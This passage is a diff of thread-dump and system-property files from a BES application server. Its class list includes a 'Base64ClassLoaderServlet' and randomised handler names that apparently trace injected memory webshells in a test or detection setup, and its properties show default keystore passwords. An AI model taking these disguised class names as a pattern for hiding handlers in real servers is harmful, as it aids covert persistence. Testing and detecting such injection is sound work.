at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||||
|
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||||
|
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||||
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
|
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
|
||||||
@@ -448,119 +561,14 @@ ThreadStacks:
|
|||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3468863
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235)
|
|
||||||
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216)
|
|
||||||
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
|
||||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
|
||||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
|
||||||
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400)
|
|
||||||
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540)
|
|
||||||
at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #54 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@8390b45
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
|
||||||
|
|
||||||
"http-nio-0.0.0.0-8080-ClientPoller-0" #70 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-thread-pool-7" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-0.0.0.0-6900-Acceptor-0" #68 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-0.0.0.0-8080-AsyncTimeout" #72 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-thread-pool-3" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"admin-thread-pool-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI Reaper" #81 [WAITING] on java.lang.ref.ReferenceQueue$Lock@29479f9a
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
|
||||||
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@566f350f
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
|
||||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
|
||||||
|
|
||||||
|
|
||||||
===========================================
|
===========================================
|
||||||
|
|
||||||
StackClassNames:
|
StackClassNames:
|
||||||
Base64ClassLoaderServlet
|
Base64ClassLoaderServlet
|
||||||
EmptyFilter
|
EmptyFilter
|
||||||
|
ServletNameTestFilter
|
||||||
|
UrlMappingTestFilter
|
||||||
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||||
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||||
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||||
@@ -569,6 +577,7 @@ com.bes.enterprise.catalina.BESAppservValve
|
|||||||
com.bes.enterprise.catalina.BesContextCleanupValve
|
com.bes.enterprise.catalina.BesContextCleanupValve
|
||||||
com.bes.enterprise.server.builder.BesWebModule
|
com.bes.enterprise.server.builder.BesWebModule
|
||||||
com.bes.enterprise.startup.ASMain
|
com.bes.enterprise.startup.ASMain
|
||||||
|
com.google.gso.JsjjN.ErrorWiwueHandler
|
||||||
org.apache.catalina.authenticator.AuthenticatorBase
|
org.apache.catalina.authenticator.AuthenticatorBase
|
||||||
org.apache.catalina.connector.CoyoteAdapter
|
org.apache.catalina.connector.CoyoteAdapter
|
||||||
org.apache.catalina.connector.CoyoteWriter
|
org.apache.catalina.connector.CoyoteWriter
|
||||||
@@ -580,7 +589,6 @@ org.apache.catalina.core.StandardHostValve
|
|||||||
org.apache.catalina.core.StandardWrapperValve
|
org.apache.catalina.core.StandardWrapperValve
|
||||||
org.apache.catalina.startup.Bootstrap
|
org.apache.catalina.startup.Bootstrap
|
||||||
org.apache.catalina.valves.ErrorReportValve
|
org.apache.catalina.valves.ErrorReportValve
|
||||||
org.apache.commons.lang.NFIaM.ErrorHandler
|
|
||||||
org.apache.coyote.AbstractProcessorLight
|
org.apache.coyote.AbstractProcessorLight
|
||||||
org.apache.coyote.AbstractProtocol$AsyncTimeout
|
org.apache.coyote.AbstractProtocol$AsyncTimeout
|
||||||
org.apache.coyote.AbstractProtocol$ConnectionHandler
|
org.apache.coyote.AbstractProtocol$ConnectionHandler
|
||||||
|
|||||||
@@ -0,0 +1,728 @@
|
|||||||
|
# Generated At 2026-05-24 05:04:36
|
||||||
|
SystemProps:
|
||||||
|
bes.loader: bes-system
|
||||||
|
java.vendor: Oracle Corporation
|
||||||
|
sun.java.launcher: SUN_STANDARD
|
||||||
|
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||||
|
javax.net.ssl.trustStorePassword: changeit
|
||||||
|
javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
|
||||||
|
bes.home: /opt/bes
|
||||||
|
catalina.useNaming: true
|
||||||
|
redis.loader: "${bes.home}/lib/redis/*.jar"
|
||||||
|
os.name: Linux
|
||||||
|
sun.boot.class.path: /opt/bes/lib/endorsed/javaee-api-endorsed.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes
|
||||||
|
javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
|
||||||
|
javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
|
||||||
|
java.vm.specification.vendor: Oracle Corporation
|
||||||
|
java.runtime.version: 1.8.0_342-b07
|
||||||
|
jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
|
||||||
|
xxx: xxx
|
||||||
|
javax.net.ssl.keyStore: /opt/bes/conf/security/keystore.jks
|
||||||
|
javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
|
||||||
|
user.name: root
|
||||||
|
shared.loader: "${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||||
|
com.bes.resource.ejb.leakDetect: false
|
||||||
|
com.bes.hostName: d35a5df256eb
|
||||||
|
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||||
|
user.language: en
|
||||||
|
derby.system.home: /opt/bes
|
||||||
|
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
|
||||||
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||||
|
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||||
|
java.version: 1.8.0_342
|
||||||
|
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||||
|
user.timezone: Etc/UTC
|
||||||
|
java.net.preferIPv4Stack: true
|
||||||
|
sun.arch.data.model: 64
|
||||||
|
com.bes.installRoot: /opt/bes
|
||||||
|
java.util.concurrent.ForkJoinPool.common.threadFactory: com.bes.enterprise.webtier.startup.SafeForkJoinWorkerThreadFactory
|
||||||
|
java.endorsed.dirs: /opt/bes/lib/endorsed
|
||||||
|
java.rmi.server.randomIDs: true
|
||||||
|
sun.cpu.isalist:
|
||||||
|
sun.jnu.encoding: UTF-8
|
||||||
|
file.encoding.pkg: sun.io
|
||||||
|
bes.base: /opt/bes
|
||||||
|
package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
|
||||||
|
file.separator: /
|
||||||
|
java.specification.name: Java Platform API Specification
|
||||||
|
java.class.version: 52.0
|
||||||
|
java.home: /usr/local/openjdk-8/jre
|
||||||
|
java.vm.info: mixed mode
|
||||||
|
com.bes.instanceName: server
|
||||||
|
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||||
|
os.version: 6.8.0-111-generic
|
||||||
|
path.separator: :
|
||||||
|
java.vm.version: 25.342-b07
|
||||||
|
com.bes.verboseMode: true
|
||||||
|
bval.in-container: true
|
||||||
|
com.bes.enterprise.deployments.classpath.filter.systemapps: false
|
||||||
|
com.bes.resource.leakDetect: false
|
||||||
|
jdbc.drivers: org.apache.derby.jdbc.ClientDriver
|
||||||
|
java.awt.printerjob: sun.print.PSPrinterJob
|
||||||
|
java.security.policy: /opt/bes/conf/security/server.policy
|
||||||
|
sun.io.unicode.encoding: UnicodeLittle
|
||||||
|
awt.toolkit: sun.awt.X11.XToolkit
|
||||||
|
javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
|
||||||
|
package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
|
||||||
|
java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
|
||||||
|
java.security.egd: file:/dev/./urandom
|
||||||
|
user.home: /root
|
||||||
|
java.specification.vendor: Oracle Corporation
|
||||||
|
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/x64
|
||||||
|
java.vendor.url: http://java.oracle.com/
|
||||||
|
com.bes.enterprise.deployments.classpath: false
|
||||||
|
java.vm.vendor: Oracle Corporation
|
||||||
|
common.loader: "${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/lib/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/db/lib/derby.jar","${bes.home}/modules/db/lib/derbyclient.jar"
|
||||||
|
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||||
|
java.runtime.name: OpenJDK Runtime Environment
|
||||||
|
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false -instancename server start
|
||||||
|
java.class.path: /opt/bes/patch/V9.5.2.4703.010.core.jar:/opt/bes/patch/V9.5.2.4703.009.core.jar:/opt/bes/patch/V9.5.2.4703.005.core.jar:/opt/bes/patch/V9.5.2.4703.004.core.jar:/opt/bes/patch/V9.5.2.4703.003.core.jar:/opt/bes/patch/V9.5.2.4703.002.core.jar:/opt/bes/patch/V9.5.2.4703.001.core.jar:/opt/bes/lib/bootstrap.jar:/opt/bes/lib/bes-logger.jar:/opt/bes/lib/bes-config-parser.jar:/opt/bes/lib/bes-config-serverbeans.jar:/opt/bes/lib/bes-patch.jar:/opt/bes/lib/bes-license.jar:/opt/bes/lib/bes-common-util.jar:/opt/bes/lib/3rd/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar
|
||||||
|
com.bes.instanceRoot: /opt/bes
|
||||||
|
java.vm.specification.name: Java Virtual Machine Specification
|
||||||
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.commons.commons-collections,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||||
|
java.vm.specification.version: 1.8
|
||||||
|
sun.cpu.endian: little
|
||||||
|
sun.os.patch.level: unknown
|
||||||
|
java.awt.headless: true
|
||||||
|
java.io.tmpdir: /tmp
|
||||||
|
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
|
||||||
|
server.loader:
|
||||||
|
os.arch: amd64
|
||||||
|
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||||
|
bes.version: 9.5.2
|
||||||
|
com.bes.enterprise.embedder.source: ServerListener
|
||||||
|
java.ext.dirs: /usr/local/openjdk-8/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/opt/bes/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext
|
||||||
|
user.dir: /opt/bes/conf
|
||||||
|
com.bes.enterprise.log.async.logger: true
|
||||||
|
line.separator:
|
||||||
|
|
||||||
|
java.vm.name: OpenJDK 64-Bit Server VM
|
||||||
|
com.bes.enterprise.provider.default: com.bes.enterprise
|
||||||
|
com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
|
||||||
|
file.encoding: UTF-8
|
||||||
|
ANTLR_USE_DIRECT_CLASS_LOADING: true
|
||||||
|
com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
|
||||||
|
com.bes.javaRoot: /usr/local/openjdk-8
|
||||||
|
java.specification.version: 1.8
|
||||||
|
javax.net.ssl.trustStore: /opt/bes/conf/security/cacerts.jks
|
||||||
|
javax.net.ssl.keyStorePassword: changeit
|
||||||
|
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
ThreadStacks:
|
||||||
|
"RMI Scheduler(0)" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4583538c
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Spark-Acceptor" #83 [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||||
|
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||||
|
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||||
|
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
|
||||||
|
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
||||||
|
|
||||||
|
"AcceptorThread-8080-1" #77 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:500)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"httpWorkerThread-1900-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5f273ffc
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"SelectorReaderThread-1900-1" #73 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:892)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"jmsra-WorkerThread-3" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6908709b
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AcceptorThread-1900-1" #74 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||||
|
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:500)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"KeepAliveTimer" #58 daemon [TIMED_WAITING] on java.util.TaskQueue@321edd13
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.util.TimerThread.mainLoop(Timer.java:552)
|
